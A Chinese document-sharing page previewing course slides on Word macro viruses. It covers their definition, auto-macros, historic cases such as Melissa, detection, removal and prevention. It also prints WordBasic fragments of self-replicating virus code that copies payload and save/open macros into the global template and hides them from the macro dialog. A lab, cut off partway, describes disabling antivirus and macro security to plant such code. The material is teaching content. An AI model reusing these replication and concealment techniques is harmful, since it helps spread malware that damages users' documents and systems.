




已阅读5页,还剩49页未读, 继续免费阅读
版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领
文档简介
第六章 宏病毒2018/8/9 1本章的学习目标 掌握宏病毒概念 掌握宏病毒制作机制 了解宏病毒实例 掌握宏病毒防范方法 掌握宏病毒实验2018/8/9 2宏病毒定义 宏病毒是利用系统的开放性专门制作的一个或多个具有病毒特点的宏的集合,这种病毒宏的集合影响到计算机的使用,并能通过文档及模板进行自我复制及传播。2018/8/9 3支持宏病毒的应用系统特点 要达到宏病毒传染的目的,系统须具备以下特性: 可以把特定的宏命令代码附加在指定文件上; 可以实现宏命令在不同文件之间的共享和传递; 可以在未经使用者许可的情况下获取某种控制权。2018/8/9 4可支持宏病毒的应用系统 Microsoft公司的 WORD、 EXCEL、Access、 PowerPoint、 Project、 Visio等产品; Inprise公司的 Lotus AmiPro字处理软件; 此外,还包括 AutoCAD、 Corel Draw、PDF等等。 2018/8/9 5宏病毒的特点 传播极快 制作、变种方便 破坏可能性极大 多平台交叉感染 地域性问题2018/8/9 6宏病毒的共性 宏病毒会感染 DOC文档文件和 DOT模板文件。 打开时激活,通过 Normal模板传播。 通过 AutoOpen, AutoClose, AutoNew和AutoExit等自动宏获得控制权。 病毒宏中必然含有对文档读写操作的宏指令。2018/8/9 7宏病毒的作用机制 模板在建立整个文档中所起的作用是作为一个基类。新文档继承模板的属性(包括宏、菜单、格式等)。 编制宏病毒要用到的宏如右表类别 宏 名 运行条件自 动 宏 AutoExec 启 动 Word或加 载 全局模板 时AutoNew 每次 创 建新文档 时AutoOpen 每次打开已存在的文档时AutoClose 在关 闭 文档 时AutoExit 在退出 Word或卸 载 全局模板 时标 准宏 FileSave 保存文件FileSaveAs改名另存 为 文件FilePrint 打印文件FileOpen 打开文件2018/8/9 8 Word宏病毒感染过程 编制语言 VBAWordBasic等 环境: VBE2018/8/9 9经典宏病毒 -美丽莎 Melissa 这个病毒专门针对微软的电子邮件服务器MS Exchange和电子邮件收发软件Outlook Express,是一种 Word宏病毒,利用微软的 Word宏和 Outlook Express发送载有 80个色情文学网址的列表,它可感染 Word 97或 Word 2000。当用户打开一个受到感染的 Word 97或 Word 2000文件时,病毒会自动通过被感染者的 MS Exchange 和 Outlook Express的通讯录,给前 50个地址发出带有 W97M_MELISSA病毒的电子邮件。2018/8/9 10 如果某个用户的电子信箱感染了 “美丽杀手 ”病毒,那么,在他的信箱中将可以看到标题为 “Important message from XX(来自 XX的重要信息 )”的邮件,其中 XX是发件人的名字。正文中写道, “这是你索要的文件 不要给其他人看 ; )。 ”此外,该邮件还包括一个名为 list.doc的 Word文档附件,其中包含大量的色情网址。2018/8/9 11经典宏病毒 -台湾 NO.1B 病毒发作时,只要打开一个 Word文档,就会被要求计算一道 5个至多 4位数的连乘算式。由于算式的复杂度,很难在短时间内计算出答案,一旦计算错误, Word就会自动开启 20个新窗口,然后再次生成一道类似的算式,接着不断往复,直至系统资源耗尽。2018/8/9 12经典宏病毒 -O97M.Tristate.C病毒 O97M.Tristate.C宏病毒可以交叉感染 MS Word 97、 MS Excwel 97和 MS PowerPoint 97等多种程序生成的数据文件。病毒从 Word文档、 Excel电子表格或 PowerPoint幻灯片被激活,并进行交叉感染。病毒在 Excel中被激活时,它在 Excel Startup目录下查找文档 BOOK1.XLS,如果不存在,病毒将在该目录下创建一个被感染的工作簿并使 Excel的宏病毒保护功能失效。病毒存放在被感染的电子表格的 “ThisWorkbook”中。 2018/8/9 13宏语言Office程序和它 们 所使用的宏 语 言Office程序版本宏 语 言Word 6.x, 7.x WordBasicExcel 5.x, 7.x VBA 3.0Office 97, Word 8.0, Excel 6.08.0, Project 98, Access 8.0 VBA 5.0Office 2K, Outlook 2K, FrontPage 2K VBA 6.0Office XP, Outlook 2002, Word 2002, Access 2002, FrontPage 2002 VBA 6.32018/8/9 14 使用 VBA可以实现的功能包括: ( 1)使重复的任务自动化 ( 2)自定义 Word工具栏、菜单和界面 ( 3)简化模板的使用 ( 4)自定义 Word,使其成为开发平台2018/8/9 15宏病毒关键技术 ( 1)自动执行的示例代码:Sub MAINOn Error Goto AbortiMacroCount = CountMacros(0, 0)检查是否感染该文档文件For i = 1 To iMacroCountIf MacroName$(i, 0, 0) = “PayLoad“ ThenbInstalled = - 12018/8/9 16检查正常的宏End IfIf MacroName$(i, 0, 0) = “FileSaveAs“ ThenbTooMuchTrouble = - 1但如果 FILESAVEAS 宏存在那么传染比较困难 .End IfNext iIf Not bInstalled And Not bTooMuchTrouble Then2018/8/9 17 加入 FileSaveAs 和拷贝到 AutoExec and FileSaveAs. 有效代码不检查是否感染 . 把代码加密使不可读 . iWW6IInstance = Val(GetDocumentVar$(“WW6Infector“) sMe$ = FileName$() Macro$ = sMe$ + “:PayLoad“ MacroCopy Macro$, “Global:PayLoad“, 1 Macro$ = sMe$ + “:FileOpen“ MacroCopy Macro$, “Global:FileOpen“, 1 Macro$ = sMe$ + “:FileSaveAs“ MacroCopy Macro$, “Global:FileSaveAs“, 1 Macro$ = sMe$ + “:AutoExec“ MacroCopy Macro$, “Global:AutoExec“, 1 SetProfileString “WW6I“, Str$(iWW6IInstance + 1) End If Abort: End Sub 2018/8/9 18 ( 2) SaveAs 程序: 这是一个当使用 FILE/SAVE AS功能时,拷贝宏病毒到活动文本的程序。它使用了许多类似于 AutoExec程序的技巧。尽管示例代码短小,但足以制作一个小巧的宏病毒。Sub MAINDim dlg As FileSaveAsGetCurValues dlgDialog dlg2018/8/9 19 If (Dlg.Format = 0) Or (dlg.Format = 1) Then MacroCopy “FileSaveAs“, WindowName$() + “:FileSaveAs“ MacroCopy “FileSave “, WindowName$() + “:FileSave“ MacroCopy “PayLoad“, WindowName$() + “:PayLoad“ MacroCopy “FileOpen“, WindowName$() + “:FileOpen“ Dlg.Format = 1 End If FileDaveAs dlg End Sub 2018/8/9 20 ( 3) 特殊代码: 还有些方法可以用来隐藏和使你的宏病毒更有趣。当有些人使用TOOLS/MICRO菜单观察宏时,该代码可以达到掩饰病毒的目的。 Sub MAIN On Error Goto ErrorRoutine OldName$ = NomFichier$() If macros.bDebug Then MsgBox “start ToolsMacro“ Dim dlg As OutilsMacro If macros.bDebug Then MsgBox “1“ GetCurValues dlg If macros.bDebug Then MsgBox “2“ On Error Goto Skip Dialog dlg OutilsMacro dlg 2018/8/9 21 Skip: On Error Goto ErrorRoutine End If REM enable automacros DisableAutoMacros 0 macros.SaveToGlobal(OldName$) macros.objective Goto Done ErrorRoutine: On Error Goto Done If macros.bDebug Then MsgBox “error “ + Str$(Err) + “ occurred“ End If Done: End Sub2018/8/9 22Word宏病毒发现方法 在 Normal模板发现有 AutoOpen等自动宏, FileSave等标准宏或一些怪名字的宏,而自己又没有加载特殊模板,这就有可能有病毒了。 当打开一个文档时,未经任何改动,立即就有存盘操作 打开以 DOC为后缀的文件在另存菜单中只能以模板方式存盘 无法使用 “另存为( Save As) ”修改路径 不能再被转存为其它格式的文件 DOC文件具备与 DOT文档相一致的内部格式 (尽管文件扩展名未改变 )。 2018/8/9 23手工清除宏病毒的方法 1打开宏菜单,在通用模板中删除您认为是病毒的宏。 2打开带有病毒宏的文档(模板),然后打开宏菜单,在通用模板和病毒文件名模板中删除您认为是病毒的宏。 3保存清洁文档。2018/8/9 24预防宏病毒 对于已染毒的模板文件( Normal.dot),应先其中的自动宏清除( AutoOpen、 AutoClose、AutoNew),然后将其置成只读方式。 对于其他已染毒的文件均应将自动宏清除,这样就可以达到清除病毒的目的。 平时使用时要加强预防。对来历不明的宏最好删除。 先禁止所有自动执行的宏。 安装反病毒软件。2018/8/9 25Word宏病毒实验 【 实验目的 】 演示宏的编写 说明宏的原理及其安全漏洞和缺陷 理解宏病毒的作用机制 【 实验平台 】Windows系列操作系统Word 2003应用程序 2018/8/9 26 【 实验步骤 】 软件设置:关闭杀毒软件的自动防护功能。 打开 Word 2003,在工具 宏 安全性中,将安全级别设置为低,在可靠发行商选项卡中,选择信任任何所有安装的加载项和模板,选择信任 visual basic项目的访问。2018/8/9 27 实验一:自我复制功能演示。 打开一个 word文档,然后按 Alt+F11调用宏编写窗口(工具 宏 Visual Basic宏编辑器),在左侧的 projectMicrosoft Word 对象 ThisDocument中输入源代码(参见源代码一或者从光盘上拷贝,位置为: “光盘盘符: Experimentmacromacro_1.txt”),保存。此时当前word文档就含有宏病毒,只要下次打开这个 word文档,就会执行以上代码,并将自身复制到 Normal.dot( word文档的公共模板)和当前文档的 ThisDocument中,同时改变函数名(模板中为 Document_Close,当前文档为 Document_Open)。此时所有的 word文档打开和关闭时,都将运行以上的病毒代码,可以加入适当的恶意代码,影响 word的正常使用,本例中只是简单的跳出一个提示框。 2018/8/9 28 实验二:类台湾 1号病毒实验 对实验一的恶意代码稍加修改,使其具有一定的破坏性(这里以著名宏病毒 “台湾 1号 ”的恶意代码部分为基础,为使其在word2003版本中运行,且降低破坏性,对源代码作适当修改)。实验二的源码参见源代码二或者从光盘上拷贝,位置为:“光盘盘符 : Experimentmacr
温馨提示
- 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
- 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
- 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
- 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
- 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
- 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
- 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。
最新文档
- 2024国家电投所属中国电力招聘4人笔试参考题库附带答案详解
- 六年级下美术教学设计-色彩风景-浙教版
- 人教版七年级地理上册第二章第二节《海陆的变迁》教学设计
- 人教版九年级化学上册同步教学设计:第五单元课题1 质量守恒定律(2课时)(2份打包)
- 九年级化学上册 5.2.2 物质的组成表示-化学式教学设计 (新版)北京课改版
- 人教部编版五年级下册中国的世界文化遗产教学设计
- 冬季车辆安全培训
- 九年级英语下册 Unit 6 Entertainment and Friendship Topic 2 Who is your favorite character in literature Section B教学设计 (新版)仁爱版
- 三年级品德与社会下册 介绍我们的学校(一)教学设计 未来版
- 2024内蒙古佰特冶金建材有限公司发布招聘笔试参考题库附带答案详解
- 公司安环部绩效考核实施管理方法
- 建筑施工现场安全培训课件
- 浴室租赁协议(3篇)
- pvc雨水管施工方案
- 建筑施工升降机安装使用拆卸安全技术规程
- 资产评估常用数据与参数手册
- 国家开放大学《中国现代文学专题》形考任务1-4参考答案
- 2023年某路桥工程有限公司生产安全事故综合应急预案
- 中石油职称俄语
- 棱柱棱锥棱台的表面积和体积课件-高一下学期数学人教A版
- 2023年中国邮政的招聘笔试参考题库附带答案详解
评论
0/150
提交评论